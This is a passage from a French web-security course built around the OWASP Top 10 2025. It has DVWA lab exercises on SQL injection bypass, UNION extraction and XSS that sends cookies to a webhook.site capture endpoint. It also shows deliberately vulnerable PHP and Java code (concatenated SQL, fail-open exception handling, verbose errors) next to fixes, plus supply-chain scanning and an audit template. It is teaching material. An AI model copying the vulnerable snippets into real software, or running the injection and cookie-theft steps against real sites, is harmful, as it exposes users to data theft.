  1. Dans la section “SQL Injection”, niveau Low, tentez un bypass d’authentification.
  2. Utilisez une UNION SELECT pour extraire les emails de la table users.
  3. Passez au niveau Medium : analysez pourquoi les payloads précédents ne fonctionnent plus.
  4. Corrigez le code source vulnérable en utilisant des requêtes préparées.

Exercice 2 — XSS

  1. Dans DVWA, section “XSS Reflected”, injectez un script qui affiche document.cookie.
  2. Dans la section “XSS Stored”, injectez un script qui envoie les cookies vers un endpoint de capture (utilisez https://webhook.site).
  3. Corrigez en appliquant htmlspecialchars() au bon endroit.

Exercice 3 — Sécurisation d’un formulaire d’inscription

Partez de ce code vulnérable et sécurisez-le complètement :

<?php
// Code de départ (à corriger)
$nom      = $_POST['nom'];
$email    = $_POST['email'];
$password = $_POST['password'];
$role     = $_POST['role'];

$pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
$sql = "INSERT INTO users (nom, email, password, role)
        VALUES ('$nom', '$email', '$password', '$role')";
$pdo->exec($sql);
echo "Bienvenue $nom";

Vous devez ajouter : requêtes préparées, hachage du mot de passe, validation des entrées, protection CSRF, rôle fixé côté serveur, en-têtes de sécurité.

14.2. Exercices d’approfondissement

Exercice 4 — Audit de sécurité

Auditez l’application BiblioTech créée dans le cours Symfony précédent. Pour chaque faille potentielle identifiée dans ce cours, documentez :

Exercice 5 — Rapport de test d’intrusion

En binôme : l’un développe une petite application PHP volontairement vulnérable, l’autre tente de l’attaquer (en environnement local uniquement) et rédige un rapport de pentest avec :

Exercice 6 — Implémenter l’authentification à deux facteurs (2FA)

Ajoutez une authentification TOTP (Time-based One-Time Password) à l’application fil rouge :

composer require spomky-labs/otphp
  1. Générer un secret TOTP par utilisateur lors de l’inscription.
  2. Afficher un QR code à scanner avec Google Authenticator.
  3. Vérifier le code TOTP à chaque connexion.


15. Mise à jour OWASP 2025 — Ce qui change vraiment

15.1. Pourquoi l’ordre change ?

Le Top 10 OWASP n’est pas un classement décoratif à accrocher au mur entre deux affiches de motivation. Il reflète les risques les plus importants observés dans les applications web et dans les pratiques de développement.

Entre 2021 et 2025, le développement logiciel a beaucoup évolué :

La sécurité ne concerne donc plus seulement le code que nous écrivons nous-mêmes. Elle concerne aussi ce que nous installons, ce que nous configurons, ce que nous déployons et ce que nous tolérons en cas d’erreur.

15.2. Les deux vraies nouveautés à ajouter au cours

A03:2025 — Software Supply Chain Failures

Ce nouveau risque élargit l’ancien sujet des composants vulnérables. En 2021, on parlait surtout de librairies obsolètes. En 2025, on parle de toute la chaîne logicielle :

A10:2025 — Mishandling of Exceptional Conditions

Cette nouvelle catégorie vise la mauvaise gestion des situations anormales :

Exemple dangereux :

<?php
try {
    verifierDroitAcces($utilisateur, $documentId);
} catch (Exception $e) {
    // Mauvaise idée : en cas d'erreur, on autorise.
    $autorise = true;
}

Ici, l’application dit en substance : “Je n’arrive pas à vérifier, donc allez-y entrez”. En sécurité, c’est rarement une stratégie brillante.

15.3. Ce qui change dans le cours existant

Partie du cours Action recommandée
SQL Injection À conserver. Les injections restent dans le Top 10.
XSS À conserver même si XSS n’est plus toujours nommé directement dans le titre des catégories.
CSRF À conserver et à relier au contrôle d’accès.
Sessions / authentification À conserver et actualiser.
Mots de passe À conserver. Relier à Cryptographic Failures.
Upload À conserver. Relier à configuration, contrôle d’accès, intégrité.
LFI/RFI À conserver. Relier à configuration et contrôle d’accès.
Headers / configuration À renforcer fortement.
Données sensibles À conserver. Relier à crypto et logging.
Contrôle d’accès À renforcer, car A01 reste n°1.
Désérialisation / SSRF À conserver, mais SSRF devient plutôt un cas de Broken Access Control.
Dépendances À transformer en vrai chapitre Supply Chain.
Exceptions À ajouter comme vrai chapitre de sécurité.

16. A03 - 2025 — Software Supply Chain Failures

16.1. Principe de la faille

Une application moderne utilise rarement uniquement du code écrit par l’équipe. Elle s’appuie sur :

La supply chain, c’est cette chaîne complète.

Une faille de supply chain apparaît quand un élément de cette chaîne est vulnérable, compromis ou non maîtrisé.

16.2. Exemple PHP — Dépendance Composer non maîtrisée

Situation dangereuse

{
  "require": {
    "vendor/package-inconnu": "*"
  }
}

Le problème :

Correction

{
  "require": {
    "monolog/monolog": "^3.0"
  }
}

Puis :

composer audit
composer outdated

À vérifier :

16.3. Exemple Java / Spring Boot — Dépendance Maven vulnérable

Exemple à risque

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-compress</artifactId>
    <version>1.20</version>
</dependency>

Une dépendance ancienne peut contenir des CVE connues.

Scan avec OWASP Dependency-Check

mvn org.owasp:dependency-check-maven:check

Exemple d’intégration dans pom.xml :

<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>12.1.0</version>
    <configuration>
        <failBuildOnCVSS>7</failBuildOnCVSS>
    </configuration>
</plugin>

L’idée pédagogique :

Si une dépendance critique est détectée, le build échoue.

Cela évite de déployer une application vulnérable par simple distraction. Et la distraction, en CI/CD, voyage très vite.

16.4. Exemple Docker — Image de base non maîtrisée

Mauvais exemple

FROM php:latest

ou :

FROM openjdk:latest

Problèmes :

Meilleure approche

FROM eclipse-temurin:21-jre-alpine

ou, pour PHP :

FROM php:8.3-apache

Puis scanner l’image :

trivy image mon-application:latest

16.5. Exemple GitLab CI — Ajouter un scan simple

stages:
  - test
  - security

composer_audit:
  stage: security
  image: composer:2
  script:
    - composer install --no-interaction
    - composer audit

maven_dependency_check:
  stage: security
  image: maven:3.9-eclipse-temurin-21
  script:
    - mvn org.owasp:dependency-check-maven:check

Pour un cours, ce pipeline est volontairement simple. L’objectif n’est pas de transformer les apprenants en équipe SOC en 12 minutes, mais de leur montrer que la sécurité peut être automatisée.

16.6. Bonnes pratiques supply chain


17. A10 - 2025 — Mauvaise gestion des conditions exceptionnelles

17.1. Principe de la faille

Une condition exceptionnelle est une situation qui n’est pas le chemin normal :

Une mauvaise gestion des conditions exceptionnelles devient une faille lorsque l’application :

17.2. Exemple PHP vulnérable — fail open

<?php
function peutVoirDocument(PDO $pdo, int $userId, int $documentId): bool
{
    try {
        $stmt = $pdo->prepare('SELECT COUNT(*) FROM documents WHERE id = :id AND user_id = :user_id');
        $stmt->execute([
            'id' => $documentId,
            'user_id' => $userId,
        ]);

        return (int) $stmt->fetchColumn() === 1;
    } catch (Throwable $e) {
        // Dangereux : en cas de problème, on autorise.
        return true;
    }
}

17.3. Correction PHP — fail closed

<?php
function peutVoirDocument(PDO $pdo, int $userId, int $documentId): bool
{
    try {
        $stmt = $pdo->prepare('SELECT COUNT(*) FROM documents WHERE id = :id AND user_id = :user_id');
        $stmt->execute([
            'id' => $documentId,
            'user_id' => $userId,
        ]);

        return (int) $stmt->fetchColumn() === 1;
    } catch (Throwable $e) {
        error_log('Erreur de vérification d’accès : ' . $e->getMessage());

        // En cas de doute, on refuse.
        return false;
    }
}

Phrase à retenir :

En sécurité, en cas de doute, on ferme la porte.

17.4. Exemple PHP — erreur trop bavarde

<?php
ini_set('display_errors', '1');
error_reporting(E_ALL);

En développement, c’est pratique. En production, c’est dangereux.

Une erreur peut révéler :

Correction

<?php
ini_set('display_errors', '0');
ini_set('log_errors', '1');
error_reporting(E_ALL);

Et dans php.ini de production :

display_errors = Off
log_errors = On
expose_php = Off

17.5. Exemple Spring Boot — exception trop détaillée

Mauvaise configuration

server:
  error:
    include-message: always
    include-stacktrace: always

En production, cela peut afficher des détails internes.

Configuration plus sûre

server:
  error:
    include-message: never
    include-stacktrace: never

17.6. Correction Spring Boot avec @RestControllerAdvice

@RestControllerAdvice
public class GlobalExceptionHandler {

    @ExceptionHandler(EntityNotFoundException.class)
    public ResponseEntity<ApiError> handleNotFound(EntityNotFoundException e) {
        return ResponseEntity.status(HttpStatus.NOT_FOUND)
                .body(new ApiError("Ressource introuvable"));
    }

    @ExceptionHandler(AccessDeniedException.class)
    public ResponseEntity<ApiError> handleAccessDenied(AccessDeniedException e) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN)
                .body(new ApiError("Accès refusé"));
    }

    @ExceptionHandler(Exception.class)
    public ResponseEntity<ApiError> handleGeneric(Exception e) {
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(new ApiError("Erreur interne"));
    }
}

DTO d’erreur :

public record ApiError(String message) {}

L’utilisateur reçoit un message clair. L’équipe technique garde les détails dans les logs.

17.7. Checklist spéciale exceptions


18. Compléments Java / Spring Boot

Les exemples principaux du cours restent en PHP pour conserver la cohérence pédagogique. Cette section ajoute des équivalents Java / Spring Boot pour aider les apprenants qui travaillent aussi en back-end Java.

18.1. Injection SQL avec Spring Data JPA

Code dangereux

public List<User> rechercher(String email) {
    String jpql = "select u from User u where u.email = '" + email + "'";
    return entityManager.createQuery(jpql, User.class).getResultList();
}

Correction

public List<User> rechercher(String email) {
    return entityManager
            .createQuery("select u from User u where u.email = :email", User.class)
            .setParameter("email", email)
            .getResultList();
}

Avec Spring Data :

public interface UserRepository extends JpaRepository<User, Long> {
    Optional<User> findByEmail(String email);
}

18.2. Broken Access Control avec Spring Boot

Code insuffisant

@GetMapping("/documents/{id}")
public DocumentDto findById(@PathVariable Long id) {
    return documentService.findById(id);
}

Problème : un utilisateur peut tester différents identifiants.

Correction

@GetMapping("/documents/{id}")
public DocumentDto findById(@PathVariable Long id, Authentication authentication) {
    return documentService.findByIdForUser(id, authentication.getName());
}

Dans le service :

public DocumentDto findByIdForUser(Long documentId, String username) {
    Document document = documentRepository
            .findByIdAndOwnerUsername(documentId, username)
            .orElseThrow(() -> new AccessDeniedException("Accès refusé"));

    return mapper.toDto(document);
}

18.3. Security Misconfiguration — H2, Actuator, CORS

Mauvais exemple en production

spring:
  h2:
    console:
      enabled: true

management:
  endpoints:
    web:
      exposure:
        include: "*"

server:
  error:
    include-stacktrace: always

Profil dev

spring:
  config:
    activate:
      on-profile: dev
  h2:
    console:
      enabled: true

Profil prod

spring:
  config:
    activate:
      on-profile: prod
  h2:
    console:
      enabled: false

management:
  endpoints:
    web:
      exposure:
        include: health,info

server:
  error:
    include-stacktrace: never

18.4. CSRF avec Spring Security

Pour une application web avec formulaires Thymeleaf, on garde généralement CSRF activé.

Dans un formulaire Thymeleaf :

<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}">

Pour une API stateless JWT, la stratégie peut être différente, mais il faut comprendre pourquoi. Désactiver CSRF sans comprendre, c’est comme enlever le frein à main parce qu’il prend de la place.

18.5. Logging et alerting

Exemple simple de log sécurité :

log.warn("Tentative d'accès refusée - user={}, documentId={}", username, documentId);

Mais attention à ne pas logger :

18.6. Dépendances Java à vérifier

Commandes utiles :

mvn dependency:tree
mvn versions:display-dependency-updates
mvn org.owasp:dependency-check-maven:check

Dans un vrai projet, on peut ajouter :


19. Mini TP de mise à jour OWASP

19.1. Objectif

Les apprenants doivent partir d’une application PHP ou Spring Boot existante et produire un mini-audit orienté OWASP 2025.

Ils doivent identifier :

19.2. Travail demandé

Par groupe de 2 ou 3 ou seul(e) si vous préférez. Vous pouvez utiliser votre application d’entreprise ou bien votre application en cours.

  1. Choisir une mini-application.
  2. Lire sa configuration.
  3. Lire ses dépendances.
  4. Tester une route protégée.
  5. Tester une entrée utilisateur.
  6. Chercher une erreur volontaire.
  7. Proposer une correction.
  8. Rédiger un rapport court.

19.3. Rapport attendu

# Rapport mini-audit OWASP 2026

## Application auditée

Nom :
Technologie : PHP / Spring Boot / autre

## Faille 1 — Broken Access Control

Description :
Impact :
Preuve :
Correction proposée :

## Faille 2 — Security Misconfiguration

Description :
Impact :
Preuve :
Correction proposée :

## Faille 3 — Software Supply Chain Failures

Description :
Impact :
Preuve :
Correction proposée :

## Faille 4 — Mishandling of Exceptional Conditions

Description :
Impact :
Preuve :
Correction proposée :

## Conclusion

Priorité 1 :
Priorité 2 :
Priorité 3 :

Annexe — Checklist de sécurité et outils

Checklist — À vérifier avant chaque mise en production

Injection et validation

XSS

CSRF

Authentification et sessions

Fichiers

Configuration

Contrôle d’accès

Supply chain — OWASP 2025

Gestion des exceptions — OWASP 2025

Java / Spring Boot si concerné

Outils recommandés

Outil Type Utilisation
Burp Suite Community Proxy HTTP Intercepter et modifier les requêtes
OWASP ZAP Scanner Scan automatique de vulnérabilités
SQLMap Automatisation Détection et exploitation SQLi (tests)
Nikto Scanner Audit de configuration serveur
securityheaders.com En ligne Vérifier les en-têtes HTTP
haveibeenpwned.com En ligne Vérifier si des identifiants sont compromis
DVWA Lab Environnement d’entraînement volontairement vulnérable
WebGoat Lab Cours interactif de sécurité web (OWASP)
HackTheBox CTF Challenges de sécurité en ligne
TryHackMe CTF Parcours guidés de sécurité
composer audit PHP Détecter les vulnérabilités Composer
OWASP Dependency-Check Java / Maven Scanner les dépendances Java
Trivy Docker / CI Scanner images Docker, fichiers IaC et dépendances
Renovate / Dependabot Automatisation Proposer des mises à jour de dépendances
GitLab Security Scanning CI/CD Détection automatisée dans les pipelines

Personnellement, j’utilise beaucoup OWASP ZAP.

Ressources & références

Ressource URL
OWASP Top 10 https://owasp.org/www-project-top-ten/
OWASP Top 10 2025 https://owasp.org/Top10/2025/
OWASP Cheat Sheet — Error Handling https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html
OWASP Dependency-Check https://owasp.org/www-project-dependency-check/
OWASP Cheat Sheet Series https://cheatsheetseries.owasp.org/
PHP Security Manual https://www.php.net/manual/fr/security.php
ANSSI — Guides de sécurité https://www.ssi.gouv.fr/guide/
CVE Details (vulnérabilités) https://www.cvedetails.com/
Have I Been Pwned https://haveibeenpwned.com/
RGPD — CNIL https://www.cnil.fr/fr/rgpd-de-quoi-parle-t-on

Certains liens peuvent ne plus être valables. Je n’ai pas tout vérifié !